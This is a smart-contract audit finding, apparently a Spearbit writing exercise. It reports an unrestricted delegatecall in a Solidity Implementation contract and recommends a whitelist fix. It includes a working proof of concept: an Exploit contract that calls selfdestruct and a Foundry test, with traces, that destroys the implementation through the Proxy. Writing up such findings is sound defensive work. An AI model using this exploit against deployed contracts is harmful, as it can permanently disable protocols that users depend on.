Writing Exercise Spearbit

spearbit-writing-exercise-report.md

Dangerous delegatecall in Implementation contract

Severity: High

SWC-112 & SWC-106 vulnerable.

Context: Implementation.sol#L18

delegatecallContract function should be restricted with a whitelist, or access-control.

While it's usual to have a delegatecall call in Proxies, delegatecall in Implementation contracts should be strictly checked.

An attacker may destroy the implementation contract causing a DOS on the protocol level.

Consider the next exploit:

pragma solidity 0.8.10;

contract Exploit {
  function pwn() external {
    selfdestruct(payable(msg.sender));
  }
}

We can call delegatecallContract from a Proxy.sol to eventually call pwn() from the Implementation.sol contract.

Next code, tested in Foundry, leads to the complete destroy of the Implementation contract:

// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";

import "../src/Proxy.sol";
import "../src/Implementation.sol";
import "../src/Exploit.sol";

contract SpearbitTest is Test {
    Implementation implementation;
    Exploit exploit;

    function setUp() public {
        implementation = new Implementation();
        exploit = new Exploit();
    }

    function testPwn() public {
        address user1Address = address(0x01);

        vm.startPrank(user1Address);

        Proxy proxy = new Proxy(address(implementation), user1Address);

        address(proxy).call(abi.encodeWithSelector(bytes4(keccak256("delegatecallContract(address,bytes)")), address(exploit), abi.encodePacked(bytes4(keccak256("pwn()")))));

        vm.stopPrank();
        
        console2.log("before pwn", address(implementation));
        console2.log("after pwn", address(proxy.implementation()));
    }
}

Results:

Running 1 test for test/Spearbit.t.sol:SpearbitTest
[PASS] testPwn() (gas: 156511)
Logs:
  before pwn 0xCe71065D4017F316EC606Fe4422e11eB2c47c246
  after pwn 0x0000000000000000000000000000000000000000

Traces:
  [156511] SpearbitTest::testPwn() 
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000000001) 
    │   └─ ← ()
    ├─ [97060] → new Proxy@"0x522b…b459"
    │   └─ ← 372 bytes of code
    ├─ [11488] Proxy::delegatecallContract(Exploit: [0x185a4dc360ce69bdccee33b3784b0282f7961aea], 0xdd365b8b) 
    │   ├─ [8546] Implementation::delegatecallContract(Exploit: [0x185a4dc360ce69bdccee33b3784b0282f7961aea], 0xdd365b8b) [delegatecall]
    │   │   ├─ [5103] Exploit::pwn() [delegatecall]
    │   │   │   └─ ← ()
    │   │   └─ ← 0x
    │   └─ ← 0x
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    ├─ [0] console::log("before pwn", Implementation: [0xce71065d4017f316ec606fe4422e11eb2c47c246]) [staticcall]
    │   └─ ← ()
    ├─ [2279] Proxy::implementation() [staticcall]
    │   └─ ← 0x0000000000000000000000000000000000000000
    ├─ [0] console::log("after pwn", 0x0000000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; finished in 1.14ms

Recommendation:

Add access-control or whitelisting on delegatecallContract function in Implementation.sol:

--- a/src/Implementation.sol
+++ b/src/Implementation.sol
@@ -7,6 +7,17 @@ pragma solidity 0.8.10;
 ///
 /// Only deployed once and the implementation is reused by all proxy contracts.
 contract Implementation {
+    mapping(address => bool) whitelist;
+    address owner;
+    constructor() {
+      owner = msg.sender;
+    }
+
+    function addToWhitelist(address wt) external {
+      require(msg.sender == owner);
+      whitelist[wt] = true;
+    }
+
     function callContract(address a, bytes calldata _calldata) payable external returns (bytes memory) {
         (bool success , bytes memory ret) =  a.call{value: msg.value}(_calldata);
         require(success);
@@ -14,6 +25,7 @@ contract Implementation {
     }
     function delegatecallContract(address a, bytes calldata _calldata) payable external returns (bytes memory) {
+        require(whitelist[a], "not whitelisted");
         (bool success, bytes memory ret) =  a.delegatecall(_calldata);
         require(success);
         return ret;